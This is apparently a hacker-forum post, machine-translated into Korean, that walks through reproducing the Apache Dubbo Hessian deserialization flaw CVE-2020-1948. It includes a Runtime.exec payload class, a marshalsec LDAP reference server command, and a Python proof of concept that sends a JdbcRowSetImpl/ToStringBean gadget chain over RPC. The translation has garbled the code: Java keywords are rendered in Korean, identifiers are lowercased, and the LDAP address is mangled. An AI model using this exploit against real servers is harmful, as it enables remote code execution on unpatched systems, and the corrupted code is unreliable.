KoreanHackerTeam
Moderator
Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)
Apache Dubbo 제공 업체에는 사막화 취약점이 있습니다. 공격자는 RPC 요청을 통해 인식되지 않은 서비스 이름 또는 메소드 이름 및 일부 악성 매개 변수 페이로드를 보낼 수 있습니다. 악의적 인 매개 변수가 사형화되면 원격 코드 실행이 발생할 수 있습니다.影响版本
Dubbo 2.7.0-2.7.6더보 2.6.0-2.6.7
Dubbo 2.5.x (공식적으로 더 이상 유지되지 않음)
环境搭建
복제 환경 :스코틀랜드 사람
더보 2.5.9
JDK 8U20
환경 다운로드 주소 :

Dubbo Remote command execution via hessian protocol using marshalsec's gadgets
Dubbo Remote command execution via hessian protocol using marshalsec's gadgets - README.md

Mac 아래에 Zookeeper 설치 :
1
2
양조를 설치 한 동물원
양조 서비스는 Zookeeper를 시작합니다
공급자 .java 파일을 수정하고 스프링이 구성 파일을로드하는 방법을 지정하십시오.
classPathXmlApplicationContext context=new ClassPathXMlApplicationContext ( 'file:/volumes/macOS/workspace/java/dubbo-poc/dubbomodules/src/resources/provider.xml');
Consumer.java 파일을 수정하고 스프링이 구성 파일을로드하는 방법을 지정하십시오.
classPathXmlApplicationContext Context=new ClassPathXmlApplicationContext ( 'file:/volumes/macOS/workspace/java/dubbo-poc/dubboconsumer/resources/consumer.xml');
run provider.java :

ExportObject.java를 컴파일합니다
1
2
3
4
5
6
7
8
9
10
11
12
13
공개 클래스 ExportObject {
public exportobject ()는 예외를 던져 {
노력하다 {
java.lang.runtime.getRuntime (). exec ( 'Open /system/applications/calculator.app');
} catch (java.io.ioexception e) {
e.printstacktrace ();
}
}
public static void main (string [] args)은 예외 {
ExportObject e=new ExportObject ();
}
}
1
Javac ExportObject.java
참고 : 여기에서 동일한 버전 또는 하위 버전의 JDK로 컴파일해야합니다. 그렇지 않으면 사막화가 실패합니다.
LDAP 서비스 시작 :
1
Java -cp Marshalsec-0.0.3-SnapShot-all.jar Marshalsec.jndi.ldaprefserver 'http://127.0.0.1:8000/#ExportObject'8087

HTTP 서비스 시작 :
1
Python3 -m http.server

소비자를 실행하고 자바 및 사제화 :

계산기가 성공적으로 나타날 수 있음이 밝혀졌습니다.
POC로 테스트 :
PIP 설치 Dubbo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
dubbo.codec.hessian2 import decoder, new_object에서
Dubbo.Client에서 Dubboclient를 가져옵니다
클라이언트=dubboclient ( '127.0.0.1', 20881)
jdbcrowsetimpl=new_object (
'com.sun.rowset.jdbcrowsetimpl',
DataSource='ldap: //127.0.0.133608087/#ExportObject',
strmatchcolumns=[ 'foo']
))
jdbcrowsetimplclass=new_object (
'java.lang.class',
이름='com.sun.rowset.jdbcrowsetimpl',
))
tostringbean=new_object (
'com.rometools.rome.feed.impl.tostringbean',
beanclass=jdbcrowsetimplclass,
obj=jdbcrowsetimpl
))
resp=client.send_request_and_return_response (
service_name='org.apache.dubbo.spring.boot.demo.consumer.demoservice',
method_name='rce',
args=[Tostringbean])